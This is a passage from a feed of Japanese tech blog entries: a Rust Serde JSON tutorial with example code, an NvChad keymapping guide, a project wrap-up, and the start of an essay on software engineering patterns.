まとめ6.1 現在の成果このプロジェクトは現在、直感的なリソース選択UIを実現し、クロスプラットフォームでの利用を可能にしています。また、効率的なメモリ使用を実現するとともに、型安全なエラーハンドリングを導入することで、安定性の向上にも成功しています。6.2 今後の展開使われるようになったらやっていきたいこと。機能拡張の面では、依存関係の可視化機能を導入し、リソース状態をより詳細に表示できるようにしたいと考えています。さらに、バッチ処理のサポートを追加することで、大規模な処理にも対応できるようにしていきます。品質向上については、テストカバレッジを拡大し、システム全体のパフォーマンスを最適化していく予定です。また、エラーメッセージをより分かりやすく改善することで、ユーザー体験の向上を図ります。ドキュメント整備においては、API文書を充実させ、初心者向けのチュートリアルを作成していきます。さらに、実際の使用シーンを想定したユースケース集を整備することで、ユーザーの理解促進を支援していきたいと考えています。おわりにtfocusの開発を通じて、RustとTerraformの実践的な活用方法を示しました。このツールが皆様のインフラ運用の一助となれば幸いです。コードはGitHubで公開しています:nwiizo/tfocusフィードバックやコントリビューションをお待ちしています。","isoDate":"2024-11-26T15:43:09.000Z","dateMiliSeconds":1732635789000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RustでJSONを扱いたいのでSerde入門します","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/26/141035","contentSnippet":"はじめにRustでデータのシリアライズ/デシリアライズを扱う際、最も広く使われているのがserdeクレートです。特にWeb APIやファイル入出力でよく使用されるJSONとの相互変換において、非常に重宝するツールです。今回は、serdeの基本的な使い方と、開発効率を上げるためのツールについて解説します。SerdeとはSerdeは\\"Serialize\\"と\\"Deserialize\\"を組み合わせた造語で、データ構造の変換を担当するRustのフレームワークです。多様なデータフォーマットに対応(JSON、YAML(アーカイブされている)、TOML等)高性能で型安全な実装カスタマイズ可能な属性システムコード生成による簡単な実装docs.rsプロジェクトのセットアップまず、Cargo.tomlに必要な依存関係を追加します。[dependencies]serde = { version = \\"1.0\\", features = [\\"derive\\"] }serde_json = \\"1.0\\"基本的な使い方1. 構造体の定義use serde::{Serialize, Deserialize};#[derive(Serialize, Deserialize, Debug)]struct User { name: String, age: u32, email: String, is_active: bool,}2. JSONからRustへの変換(デシリアライズ)fn main() { let json_str = r#\\" { \\"name\\": \\"John Doe\\", \\"age\\": 30, \\"email\\": \\"john@example.com\\", \\"is_active\\": true } \\"#; let user: User = serde_json::from_str(json_str).unwrap(); println!(\\"Deserialized user: {:?}\\", user);}3. RustからJSONへの変換(シリアライズ)fn main() { let user = User { name: \\"Jane Doe\\".to_string(), age: 25, email: \\"jane@example.com\\".to_string(), is_active: true, }; let json = serde_json::to_string_pretty(&user).unwrap(); println!(\\"Serialized JSON:\\\\n{}\\", json);}JSON to Rust ツールの活用開発効率を大幅に向上させるツールとして、「JSON to Rust」があります。このツールは、JSONデータからRustの構造体定義を自動生成してくれます。JSON to Rustの使い方https://jsonformatter.org/json-to-rust にアクセス左側のペインにJSONデータを貼り付け自動的に右側にRustの構造体定義が生成される例えば、以下のようなJSONデータがあった場合{ \\"user_profile\\": { \\"id\\": 123, \\"username\\": \\"rust_lover\\", \\"settings\\": { \\"theme\\": \\"dark\\", \\"notifications\\": true }, \\"tags\\": [\\"rust\\", \\"programming\\"] }}以下のようなRust構造体が生成されます。// Example code that deserializes and serializes the model.// extern crate serde;// #[macro_use]// extern crate serde_derive;// extern crate serde_json;//// use generated_module::[object Object];//// fn main() {// let json = r#\\"{\\"answer\\": 42}\\"#;// let model: [object Object] = serde_json::from_str(&json).unwrap();// }extern crate serde_derive;#[derive(Serialize, Deserialize)]pub struct Welcome3 { #[serde(rename = \\"user_profile\\")] user_profile: UserProfile,}#[derive(Serialize, Deserialize)]pub struct UserProfile { #[serde(rename = \\"id\\")] id: i64, #[serde(rename = \\"username\\")] username: String, #[serde(rename = \\"settings\\")] settings: Settings, #[serde(rename = \\"tags\\")] tags: Vec,}#[derive(Serialize, Deserialize)]pub struct Settings { #[serde(rename = \\"theme\\")] theme: String, #[serde(rename = \\"notifications\\")] notifications: bool,}高度な使い方カスタム属性の活用Serdeは様々な属性を提供して、シリアライズ/デシリアライズの挙動をカスタマイズできます。#[derive(Serialize, Deserialize, Debug)]struct Configuration { #[serde(rename = \\"apiKey\\")] api_key: String, #[serde(default)] timeout_seconds: u32, #[serde(skip_serializing_if = \\"Option::is_none\\")] optional_field: Option,}エラーハンドリング実際のアプリケーションでは、適切なエラーハンドリングが重要です。use serde::{Serialize, Deserialize};use std::error::Error;use std::fs;use std::io;use std::collections::HashMap;// ユーザーの基本構造体#[derive(Serialize, Deserialize, Debug)]struct User { id: u32, name: String, age: u32, email: String, is_active: bool, // オプショナルなフィールド #[serde(skip_serializing_if = \\"Option::is_none\\")] metadata: Option>,}// カスタムエラー型の定義#[derive(Debug)]enum UserError { ParseError(serde_json::Error), // JSONパースエラー ValidationError(String), // バリデーションエラー DatabaseError(String), // DB操作エラー IoError(io::Error), // ファイル操作エラー}// serde_json::ErrorからUserErrorへの変換を実装impl From for UserError { fn from(err: serde_json::Error) -> UserError { UserError::ParseError(err) }}// io::ErrorからUserErrorへの変換を実装impl From for UserError { fn from(err: io::Error) -> UserError { UserError::IoError(err) }}// std::error::Errorトレイトの実装impl std::fmt::Display for UserError { fn fmt(&self, f: &mut std::fmt::Formatter<\'_>) -> std::fmt::Result { match self { UserError::ParseError(e) => write!(f, \\"Parse error: {}\\", e), UserError::ValidationError(msg) => write!(f, \\"Validation error: {}\\", msg), UserError::DatabaseError(msg) => write!(f, \\"Database error: {}\\", msg), UserError::IoError(e) => write!(f, \\"IO error: {}\\", e), } }}impl Error for UserError {}// Userの実装impl User { // バリデーションメソッド fn validate(&self) -> Result<(), UserError> { if self.name.is_empty() { return Err(UserError::ValidationError(\\"Name cannot be empty\\".to_string())); } if self.age > 150 { return Err(UserError::ValidationError(\\"Invalid age\\".to_string())); } if !self.email.contains(\'@\') { return Err(UserError::ValidationError(\\"Invalid email format\\".to_string())); } Ok(()) }}// 基本的なJSONパース関数fn parse_user(json_str: &str) -> Result { // map_errを使用してエラーをログ出力 serde_json::from_str(json_str).map_err(|e| { println!(\\"Error parsing JSON: {}\\", e); e // 元のエラーを返す })}// より詳細なエラーハンドリングを行う関数fn process_user_data(json_str: &str) -> Result { // JSONのパース let user: User = serde_json::from_str(json_str)?; // ?演算子でエラーを伝播 // バリデーション user.validate()?; // ?演算子でエラーを伝播 Ok(user)}// 複数ユーザーからの検索(Option型との組み合わせ)fn find_user_by_id(json_str: &str, target_id: u32) -> Result, UserError> { // JSONから複数ユーザーをパース let users: Vec = serde_json::from_str(json_str)?; // 指定されたIDのユーザーを探す Ok(users.into_iter().find(|user| user.id == target_id))}// ファイル操作を含むエラーハンドリングfn load_user_from_file(path: &str) -> Result { // ファイルを読み込み let content = fs::read_to_string(path).map_err(|e| { eprintln!(\\"Failed to read file {}: {}\\", path, e); UserError::IoError(e) })?; // JSONをパースしてUserを返す process_user_data(&content)}// ファイルへの保存fn save_user_to_file(user: &User, path: &str) -> Result<(), UserError> { // UserをJSONに変換 let json = serde_json::to_string_pretty(user).map_err(|e| { eprintln!(\\"Failed to serialize user: {}\\", e); UserError::ParseError(e) })?; // ファイルに書き込み fs::write(path, json).map_err(|e| { eprintln!(\\"Failed to write to file {}: {}\\", path, e); UserError::IoError(e) })?; Ok(())}fn main() { // 1. 有効なJSONの例 let valid_json = r#\\" { \\"id\\": 1, \\"name\\": \\"John Doe\\", \\"age\\": 30, \\"email\\": \\"john@example.com\\", \\"is_active\\": true, \\"metadata\\": { \\"last_login\\": \\"2024-01-01\\", \\"location\\": \\"Tokyo\\" } } \\"#; // 2. 無効なJSONの例(バリデーションエラー) let invalid_json = r#\\" { \\"id\\": 2, \\"name\\": \\"\\", \\"age\\": 200, \\"email\\": \\"invalid-email\\", \\"is_active\\": true } \\"#; // 3. 複数ユーザーのJSONの例 let users_json = r#\\"[ { \\"id\\": 1, \\"name\\": \\"John Doe\\", \\"age\\": 30, \\"email\\": \\"john@example.com\\", \\"is_active\\": true }, { \\"id\\": 2, \\"name\\": \\"Jane Doe\\", \\"age\\": 25, \\"email\\": \\"jane@example.com\\", \\"is_active\\": true } ]\\"#; // 4. 各種エラーハンドリングの実演 println!(\\"1. 基本的なパース:\\"); match parse_user(valid_json) { Ok(user) => println!(\\"成功: {:?}\\", user), Err(e) => println!(\\"エラー: {}\\", e), } println!(\\"\\\\n2. バリデーション付きパース:\\"); match process_user_data(invalid_json) { Ok(user) => println!(\\"成功: {:?}\\", user), Err(e) => println!(\\"エラー: {}\\", e), } println!(\\"\\\\n3. ユーザー検索:\\"); match find_user_by_id(users_json, 1) { Ok(Some(user)) => println!(\\"ユーザーが見つかりました: {:?}\\", user), Ok(None) => println!(\\"ユーザーが見つかりません\\"), Err(e) => println!(\\"エラー: {}\\", e), } println!(\\"\\\\n4. ファイル操作:\\"); // 有効なユーザーをファイルに保存 if let Ok(user) = parse_user(valid_json) { match save_user_to_file(&user, \\"user.json\\") { Ok(()) => println!(\\"ユーザーを保存しました\\"), Err(e) => println!(\\"保存エラー: {}\\", e), } // 保存したファイルから読み込み match load_user_from_file(\\"user.json\\") { Ok(loaded_user) => println!(\\"ロードしたユーザー: {:?}\\", loaded_user), Err(e) => println!(\\"ロードエラー: {}\\", e), } }}ベストプラクティス型の使い分け必須フィールドは通常の型オプショナルフィールドはOption配列はVecを使用エラーハンドリングunwrap()は開発時のみ使用本番コードではResultを適切に処理カスタム属性の活用#[serde(rename)]でフィールド名の変換#[serde(default)]でデフォルト値の設定#[serde(skip_serializing_if)]で条件付きスキップまず、Cargo.tomlにchronoの依存関係を追加します。use chrono;use serde::{Deserialize, Serialize};use std::collections::HashMap;use std::error::Error as StdError;use std::fmt;use std::fs; // chronoクレートのインポート// ベストプラクティスに基づいた構造体の定義#[derive(Serialize, Deserialize, Debug)]struct UserProfile { // 1. 必須フィールド(通常の型) id: u64, username: String, email: String, // 2. オプショナルフィールド(Optionの使用) #[serde(skip_serializing_if = \\"Option::is_none\\")] phone_number: Option, #[serde(skip_serializing_if = \\"Option::is_none\\")] biography: Option, // 3. 配列(Vecの使用) #[serde(skip_serializing_if = \\"Vec::is_empty\\")] interests: Vec, // 4. カスタム属性の活用 // JSONでは\\"lastLoginTime\\"として表示 #[serde(rename = \\"lastLoginTime\\")] last_login_time: String, // デフォルト値の設定 #[serde(default)] is_active: bool, // 動的なキーバリューペア #[serde(default, skip_serializing_if = \\"HashMap::is_empty\\")] metadata: HashMap,}// カスタムエラー型の定義#[derive(Debug)]enum ProfileError { JsonError(serde_json::Error), ValidationError(String), IoError(std::io::Error),}// ProfileErrorにDisplayトレイトを実装impl fmt::Display for ProfileError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { ProfileError::JsonError(e) => write!(f, \\"JSON error: {}\\", e), ProfileError::ValidationError(e) => write!(f, \\"Validation error: {}\\", e), ProfileError::IoError(e) => write!(f, \\"IO error: {}\\", e), } }}// ProfileErrorにErrorトレイトを実装impl StdError for ProfileError { fn source(&self) -> Option<&(dyn StdError + \'static)> { match self { ProfileError::JsonError(e) => Some(e), ProfileError::ValidationError(_) => None, ProfileError::IoError(e) => Some(e), } }}// エラー変換の実装impl From for ProfileError { fn from(err: serde_json::Error) -> Self { ProfileError::JsonError(err) }}impl From for ProfileError { fn from(err: std::io::Error) -> Self { ProfileError::IoError(err) }}// UserProfileの実装impl UserProfile { // コンストラクタ fn new(id: u64, username: String, email: String) -> Self { UserProfile { id, username, email, phone_number: None, biography: None, interests: Vec::new(), last_login_time: chrono::Utc::now().to_rfc3339(), is_active: true, metadata: HashMap::new(), } } // バリデーション fn validate(&self) -> Result<(), ProfileError> { if self.username.is_empty() { return Err(ProfileError::ValidationError( \\"Username cannot be empty\\".to_string(), )); } if !self.email.contains(\'@\') { return Err(ProfileError::ValidationError( \\"Invalid email format\\".to_string(), )); } Ok(()) } // メタデータの追加 fn add_metadata(&mut self, key: &str, value: &str) { self.metadata.insert(key.to_string(), value.to_string()); } // 興味・関心の追加 fn add_interest(&mut self, interest: &str) { self.interests.push(interest.to_string()); }}// プロファイル処理関数fn process_profile(json_str: &str) -> Result { // JSONからプロファイルを作成 let profile: UserProfile = serde_json::from_str(json_str)?; // バリデーション profile.validate()?; Ok(profile)}// ファイル操作を含むプロファイル保存fn save_profile(profile: &UserProfile, path: &str) -> Result<(), ProfileError> { // バリデーション profile.validate()?; // JSON文字列に変換(整形付き) let json = serde_json::to_string_pretty(profile)?; // ファイルに保存 fs::write(path, json)?; Ok(())}fn main() -> Result<(), Box> { // 1. プロファイルの作成 let mut profile = UserProfile::new(1, \\"john_doe\\".to_string(), \\"john@example.com\\".to_string()); // オプショナルフィールドの設定 profile.phone_number = Some(\\"123-456-7890\\".to_string()); profile.biography = Some(\\"Tech enthusiast and developer\\".to_string()); // 興味・関心の追加 profile.add_interest(\\"Programming\\"); profile.add_interest(\\"Open Source\\"); // メタデータの追加 profile.add_metadata(\\"location\\", \\"Tokyo\\"); profile.add_metadata(\\"timezone\\", \\"UTC+9\\"); // 2. JSONへの変換と保存 println!(\\"保存するプロファイル:\\"); println!(\\"{:#?}\\", profile); save_profile(&profile, \\"profile.json\\").map_err(|e| Box::new(e) as Box)?; println!(\\"\\\\nプロファイルを保存しました\\"); // 3. JSONからの読み込みとバリデーション let json_str = r#\\"{ \\"id\\": 2, \\"username\\": \\"jane_doe\\", \\"email\\": \\"jane@example.com\\", \\"phone_number\\": \\"098-765-4321\\", \\"biography\\": \\"Software Engineer\\", \\"interests\\": [\\"AI\\", \\"Machine Learning\\"], \\"lastLoginTime\\": \\"2024-01-01T00:00:00Z\\", \\"metadata\\": { \\"location\\": \\"Osaka\\", \\"language\\": \\"ja\\" } }\\"#; match process_profile(json_str) { Ok(loaded_profile) => { println!(\\"\\\\n読み込んだプロファイル:\\"); println!(\\"{:#?}\\", loaded_profile); } Err(e) => match e { ProfileError::JsonError(e) => println!(\\"JSONエラー: {}\\", e), ProfileError::ValidationError(e) => println!(\\"バリデーションエラー: {}\\", e), ProfileError::IoError(e) => println!(\\"I/Oエラー: {}\\", e), }, } // 4. 無効なデータの例 let invalid_json = r#\\"{ \\"id\\": 3, \\"username\\": \\"\\", \\"email\\": \\"invalid-email\\" }\\"#; match process_profile(invalid_json) { Ok(_) => println!(\\"予期せぬ成功\\"), Err(e) => match e { ProfileError::ValidationError(msg) => { println!(\\"\\\\nバリデーションエラー(期待通り): {}\\", msg) } _ => println!(\\"予期せぬエラー\\"), }, } Ok(())}まとめSerdeは、RustでJSONを扱う際の強力なツールです。JSON to Rustのようなツールと組み合わせることで、より効率的な開発が可能になります。基本的な使い方を押さえた上で、プロジェクトの要件に応じて高度な機能を活用していくことをお勧めします。参考リンクSerde公式ドキュメントJSON to Rust Converterserde_json クレートドキュメント","isoDate":"2024-11-26T05:10:35.000Z","dateMiliSeconds":1732597835000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"社内活動の取り組み紹介~ スリーシェイクでこんな取り組みしてます ~","link":"https://speakerdeck.com/bells17/she-nei-huo-dong-noqu-rizu-mishao-jie-surisieikudekonnaqu-rizu-misitemasu","contentSnippet":"CloudNative Days Winter 2024 船上LT会 小さな一歩、大きな飛躍〜クラウドネイティブを継続する〜 で発表したLT資料です。\\rhttps://cloudnativedays.connpass.com/event/334620/","isoDate":"2024-11-26T05:00:00.000Z","dateMiliSeconds":1732597200000,"authorName":"bells17","authorId":"bells17"},{"title":"【ISUCON14対策】private-isuチャレンジ記","link":"https://zenn.dev/melanmeg/articles/a8ece09570279f","contentSnippet":"はじめに2024/12/8(日)に開催のISUCON14へ向けて練習した記録です。お題は private-isu と呼ばれるISUCON練習問題の中でも、特にメジャーなものを解くことにしました。結論として、最終スコアは44,2852点でした。ここに辿り着く道のりは険しかったです\uD83D\uDCA6練習リポジトリ:https://github.com/melanmeg/private-isu-challengeまた、パフォーマンス改善タスクを求められる現場の方々にも、実際に役立つテクニックも恐らくあるはずで、興味のある方、色んな方に読んでいただけると嬉しいです。改善したことだけ知りたい方...","isoDate":"2024-11-25T09:01:34.000Z","dateMiliSeconds":1732525294000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"私の為のNvChadのキーマッピングガイド","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/24/171651","contentSnippet":"はじめに私は定期的に必要なことを忘れてしまう。子ども時代に水を口に入れて水の飲み方を忘れてしまったことがある。大切なことを今まで普通にできたことが急にできなくなることがある。学習もそう、定期的に復習して思い出すことが大切だと感じているが突然忘れてしまうことがある。突然忘れてしまうと探す必要があるが毎回探すのが面倒になってきたのでNvChadのキーマッピングをまとめてみた。基本的なショートカット表記 = Ctrlキー = スペースキー(デフォルト) = Altキー = Shiftキーよく使う機能とそのキーマッピング1. ファイル操作で必須のコマンド - 保存(これだけは絶対覚える。:w なんてやっているとvsCodeを使っている人にバカにされる) - ファイル全体をコピー(便利)fm - フォーマット(コードを整形してくれる)n - 行番号の表示/非表示rn - 相対行番号の切り替え2. 検索系(Telescope)検索系は本当によく使うので、最優先で覚えたいです。ff - ファイル検索(最重要)fw - プロジェクト内のテキスト検索(grep)fb - 開いているバッファを検索fo - 最近開いたファイルを検索fz - 現在のバッファ内をあいまい検索cm - Gitコミットを検索gt - Gitのステータスを表示github.com3. LSP関連(コードジャンプ・リファレンス)コードリーディングする時に本当に助かる機能たちです。gd - 定義へジャンプ(最も使う)gr - 参照を探す(変数やメソッドの使用箇所を探せる)K - ドキュメントを表示(カーソル位置の要素の説明を表示)gi - 実装へジャンプ(インターフェースから実装を探せる)ds - 診断情報をloclistに表示github.com4. 画面分割とウィンドウ移動複数のファイルを同時に見たい時に使います。 - 左のウィンドウへ - 右のウィンドウへ - 下のウィンドウへ - 上のウィンドウへ5. バッファ操作b - 新しいバッファを開く - 次のバッファへ - 前のバッファへx - バッファを閉じる6. ターミナル操作ターミナルは必要に応じて呼び出せます。 - フローティングターミナル(これが一番便利) - 水平分割のターミナル - 垂直分割のターミナル - ターミナルモードを抜ける7. その他の便利機能ch - チートシート表示(キーマッピングを忘れた時用)/ - コメントアウトのトグル - ファイルツリーの表示/非表示e - ファイルツリーにフォーカス - ハイライトをクリアなぜこれらのキーマッピングを覚える必要があるのか私の経験上、以下の機能は開発効率を大きく向上させてくれます。ファイル検索(Telescope)プロジェクト内のファイルを素早く見つけられるコードベースの把握が容易になるGit操作との連携で変更管理がしやすいLSP機能コードの定義や参照を素早く調べられるリファクタリングが楽になるコードの理解が深まるエラー診断が即座にわかるRust を書いていると 1 箇所書き換えると芋づる式に修正が発生するのでどうしても必要になる。ターミナル統合エディタを離れずにコマンドを実行できるgit操作やビルドが快適フローティング表示で作業の邪魔にならないバッファ管理複数ファイルの編集がスムーズ必要なファイルをすぐに切り替えられるなぜNvChadを選んだのか実は、私のエディタ遍歴は長い。最初はVimから始まり、その後SpaceVim、AstroNvim、LunarVimなど、様々なNeovim系のディストリビューションを試してきた。VSCodeやIntelliJ IDEAのVimプラグインも使っていた時期がある。その過程で、Vimのキーバインドの快適さと、モダンなIDEの便利さ、その両方の良さを実感していた。ただ、どれも何かが違った。なんとなくしっくりこない。そんな中で出会ったのがNvChadだった。そんな中でNvChadに出会い、決め手となったのは開発体制の健全さだった。リポジトリは定期的に更新され、ドキュメントも整備されている。破壊的な変更がある場合も、きちんとアナウンスされ、移行のガイドラインが提供される。コミュニティも活発で、問題が起きた時のサポートも期待できる。nvchad.comさらに、NvChadの設計思想も気に入った。必要最小限の機能を高速に動作させることを重視し、その上で必要な機能を追加できる拡張性を持っている。プラグインマネージャーにlazy.nvimを採用し、起動時間の最適化もされている。LSPやTreeSitterの統合も洗練されており、快適なコーディング環境を提供してくれる。結果として、NvChadは私の理想とするエディタ環境に最も近かった。Vimの哲学を大切にしながら、モダンな開発環境を実現している。もちろん、完璧なエディタは存在しないし、NvChadにも改善の余地はきっとある。しかし、現時点で最も信頼できる選択肢の一つであることは間違いない。Vimを学ぶために通常のVimを学ぶ場合は、「実践Vim 思考のスピードで編集しよう!」がおすすめだ。Vimの基本から応用までを体系的に学べ、実践的な例も豊富に掲載されている。実践Vim 思考のスピードで編集しよう! (アスキー書籍)作者:Drew Neil,新丈 径角川アスキー総合研究所Amazonまた、Vim Adventuresというゲームも面白い。ゲーム感覚でVimのキー操作を学べ、楽しみながら基本的なコマンドが身につく。初心者にも優しい学習カーブで、Vimの世界に入るきっかけとして最適だ。vim-adventures.comしかし、NvChadはこれらの基本的なVimの知識に加えて、モダンなIDE的機能を提供してくれる。このガイドでは、特にNvChad特有の機能に焦点を当てて説明しました。私自身、日々の開発作業でNvChadの恩恵を受けており、その便利さを多くの人と共有したいと考えている。まとめ私はVimを使い始めて数年経つが、今でも新しい発見がある。NvChadも同様で、日々の作業の中で「こんな機能があったのか」と驚かされることが多い。最初は覚えることの多さに圧倒されるかもしれないが、焦る必要はない。私の経験では、まずは基本的なファイル操作から始めるのが良い。保存やコピーといった最低限の操作を確実に覚えることで、日常的な編集作業に支障がなくなる。次に、Telescopeによるファイル検索を習得すると、作業効率が格段に上がる。プロジェクト内のファイルを瞬時に探せるようになり、コードベースの把握も容易になる。その後、LSPの基本機能を学んでいくと良いだろう。定義ジャンプやドキュメント表示は、コードリーディングの強力な味方となる。ウィンドウ操作とバッファ管理、ターミナル操作は、これらの基本操作に慣れてから徐々に取り入れていけば良い。結局のところ、エディタは道具でしかない。完璧に使いこなす必要はなく、自分の作業をサポートしてくれる程度に理解していれば十分だ。このガイドも、そんな私のような「忘れっぽいプログラマー」のための備忘録として活用してもらえれば幸いだ。少しずつでも確実に、自分なりのNvChadの使い方を見つけていってほしい。参考リンクNvChad公式ドキュメントGitHub - NvChad/NvChadNeovim LSP Documentation","isoDate":"2024-11-24T08:16:51.000Z","dateMiliSeconds":1732436211000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"週間アトデ 2024-11-22","link":"https://blog.atusy.net/2024/11/22/atodeyomanakata/","contentSnippet":"アトデヨム、ウソジャナイ、ヨムノタノシー","isoDate":"2024-11-22T00:00:00.000Z","dateMiliSeconds":1732233600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Reckoner における Datadog Browser Test の活用事例 / Datadog Browser Test at Reckoner","link":"https://speakerdeck.com/nomadblacky/datadog-browser-test-at-reckoner","contentSnippet":"Japan Datadog User Group Meetup#6\\rhttps://datadog-jp.connpass.com/event/334594/","isoDate":"2024-11-20T05:00:00.000Z","dateMiliSeconds":1732078800000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"先人の知見から学ぶ、その経験則","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/20/122114","contentSnippet":"この度、Cloud Native における最新の機能やベストプラクティスにおいての学びについて、登壇させていただくことになりました。このテーマについて私なりに取り留めのない思考を整理した考えを共有させていただきます。event.cloudnativedays.jpソフトウェアエンジニアリングの型についてソフトウェアの世界には、プログラミング言語における変数やデータの「型」とは別に、長年の経験と知恵から生まれた様々な型が存在します。ここでいう「型」とは、開発者の思考や行動のパターンを体系化したものを指します。これらの型は、プログラマーが日々直面する問題に対する体系的な解決策を提供します。こうした型は、文脈や状況によって様々な呼び方をします。例えば、同じような問題解決のアプローチでも、ある文脈では「パターン」、別の文脈では「ベストプラクティス」と呼ばれることがあります。また、同じような設計手法でも、技術スタックやチームの文化によって異なる名前で知られていることもあります。このように、型の呼び方は多様ですが、その本質は問題解決のための知恵の結晶であることは変わりません。そのため、このブログでは意図的に「定石」「パターン」「手法」「アプローチ」「作法」「ベストプラクティス」など、様々な呼び方を用いて型を説明していきます。これは、同じような概念や手法が異なる文脈で別の名前で呼ばれている実態を反映させるためです。それぞれの呼び方が持つニュアンスの違いを理解することで、型に対するより深い理解が得られると考えています。いろんな名前の型の種類と特徴まず「定石」は、特定の状況下での最適な対処方法を示します。例えば、データベースにおけるN+1問題の解決方法やメモリリーク対策の手順など、具体的な技術的課題に対する確立された解決策です。次に「パターン」は、一般的な設計上の問題に対する標準的な解決策を提供します。いくつかの文脈で登場しますがコードやソフトウェアの構造化と再利用性を高めます。「手法」は開発プロセスを改善するための具体的な方法論を指します。テスト駆動開発(TDD)、リファクタリング、継続的インテグレーションなどが該当し、より体系的な開発アプローチを可能にします。「アプローチ」は問題解決への基本的な考え方や戦略を示し、ドメイン駆動設計(DDD)やマイクロサービスアーキテクチャなどが含まれます。また、「作法」はコードの品質と保守性を高めるための慣習を表します。SOLID原則、クリーンコード、命名規則などがこれにあたり、チーム開発における共通理解を促進します。「ベストプラクティス」は実践で効果が実証された推奨される方法であり、セキュリティ対策、パフォーマンスチューニング、エラー処理などの具体的な実装手法を含みます。他にも同じような文脈なのにいろんな言い方の「型」があります。aws.amazon.comlearn.microsoft.comcloud.google.com型の重要な特性これらの型には、いくつかの重要な特性があります。まず状況依存性があり、プロジェクトの規模や要件、チームの習熟度、ビジネスドメインによって最適な型が変化します。また、進化と適応の性質も持ち合わせており、新しい技術の登場により型自体が進化したり、既存の型が新しい文脈で再解釈されたり、チームの経験を通じて洗練されていきます。さらに、相互補完性も重要な特性です。複数の型を組み合わせることで相乗効果が生まれ、異なる型が互いの弱点を補完し合います。状況に応じて型を柔軟に組み合わせることが、効果的な問題解決には不可欠です。このように、ソフトウェアにおける「型」は、単なる規則や制約ではなく、効果的な問題解決のための知識体系として機能しています。これらの型を理解し、適切に活用することで、より効率的で品質の高い開発が可能になります。型の存在を認識し、その本質を理解することは、プログラマーとしての成長において重要な要素となるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazonどの巨人の型に乗るのか?ソフトウェアの世界で「定石」を学ぶことは、ある種の賭けのような性質を持っています。最初は論理的な理解が難しい概念や方法論を受け入れる必要があるにもかかわらず、その価値は実践してみないとわからないという矛盾を抱えているためです。多くの場合、「きっと将来役立つはず」という信念に基づいて学習を進める必要があります。この学習における矛盾は、特に高度な開発手法を習得する際に顕著に現れます。例えば、テスト駆動開発(TDD)の習得では、最初はテストを先に書くという一見非効率に思える手法に違和感を覚えるでしょう。しかし、この手法の真価は、実際にプロジェクトで実践し、コードの品質向上や保守性の改善を体験してはじめて理解できます。同様に、アーキテクチャ設計原則の導入においても、初期段階では過度に複雑に感じられる設計パターンや抽象化の価値を理解することは困難です。デザインパターンの学習や関数型プログラミングの考え方も、習得には相当な時間と労力を要します。これらの知識は、直接的な効果が見えにくい一方で、長期的には開発効率と品質を大きく向上させる可能性を秘めています。このジレンマを乗り越えるためには、段階的な学習アプローチと実践を通じた検証が重要になります。小規模なプロジェクトや個人的な開発で新しい手法を試し、その効果を実感することから始めることで、より大きなプロジェクトでの適用に向けた確信と経験を積むことができます。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon作法の習得における難しさ確立された手法(パターン)の習得には、独特の困難さが伴います。その中でも特に重要な課題として、習得前後のジレンマと成長段階による最適解の変化が挙げられます。まず、習得前後のジレンマについて考えてみましょう。体得するまでは本当の価値がわからないという特徴は、多くの開発手法に共通しています。例えば、ある設計パターンを学び始めた時点では、それがどのような状況でどれほどの効果を発揮するのか、具体的にイメージすることが困難です。さらに厄介なことに、体得してしまうと、その影響を客観的に評価しづらくなるという逆説的な問題も存在します。手法が無意識のうちに身についてしまうと、その手法を使わない場合との比較が難しくなり、問題が発生した際に、その原因がパターンの適用にあるのか、それとも他の要因によるものなのか、判断が困難になってしまいます。次に、成長段階による最適解の変化について着目する必要があります。プログラマーとしての習熟度によって最適な手法が変わるというのは、多くの現場で観察される現象です。例えば、初級者の段階では、まずはシンプルな実装手法に焦点を当て、基本的なプログラミングスキルを確実に身につけることが重要です。中級者になると、設計パターンの理解と適切な適用が課題となり、コードの構造化や再利用性を意識した開発が求められるようになります。上級者では、さらに進んで、パターンの取捨選択や状況に応じた最適化が必要となります。また、チームの規模や製品の成熟度によっても適切なアプローチは変化します。小規模なチームでは比較的シンプルな設計で十分な場合でも、チームが大きくなるにつれて、より体系的なアプローチが必要となることがあります。同様に、プロダクトの初期段階では迅速な開発を優先し、成熟期に入ってからより洗練された設計パターンを導入するなど、状況に応じた柔軟な対応が求められます。このように、作法の習得プロセスは単純な知識の蓄積ではなく、様々な要因を考慮しながら、継続的に改善と適応を行っていく必要のある複雑な取り組みと言えます。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazon不適切なパターンを見分けるための3つの条件複雑さという落とし穴不適切なパターンの最も顕著な特徴は、シンプルさの欠如です。優れたパターンには、核となる概念がシンプルで説明が簡潔であり、様々な状況への応用が柔軟に可能という特徴があります。このシンプルさは、単なる実装の簡素さだけでなく、パターンが解決しようとする問題と解決方法の関係性が明確であることを意味します。一方で、複雑な条件分岐が多い実装手法や、例外処理が複雑に絡み合ったエラーハンドリング、過度に抽象化された設計パターンなどは、保守性を低下させる要因となりかねません。特に、抽象化の層が必要以上に深くなると、コードの見通しが悪くなり、バグの温床となる可能性があります。シンプルさを欠いたパターンは、チームメンバー間での共有や理解を困難にし、結果として開発効率の低下やメンテナンスコストの増大を招くことがあります。批判を許さない教条主義検証がタブー視されている状況は、不適切なパターンの存在を示す重要な指標です。「それが会社の方針だから」という説明やレガシーコードの無批判な踏襲、特定の実装パターンへの過度な信仰は、危険な兆候と言えます。このような状況では、パターンの有効性や適用範囲について、客観的な評価や建設的な議論が行われにくくなります。定石の効果は常に検証可能であるべきであり、新しい技術やアプローチとの比較検討を行える環境が必要です。また、チーム内で改善提案が歓迎される雰囲気を醸成することも、健全なパターン活用には不可欠です。例えば、定期的なコードレビューやアーキテクチャ検討会での議論、実装パターンの効果測定など、具体的な検証の機会を設けることが重要です。パターンの効果や適用方法について、オープンな議論と継続的な改善が可能な環境を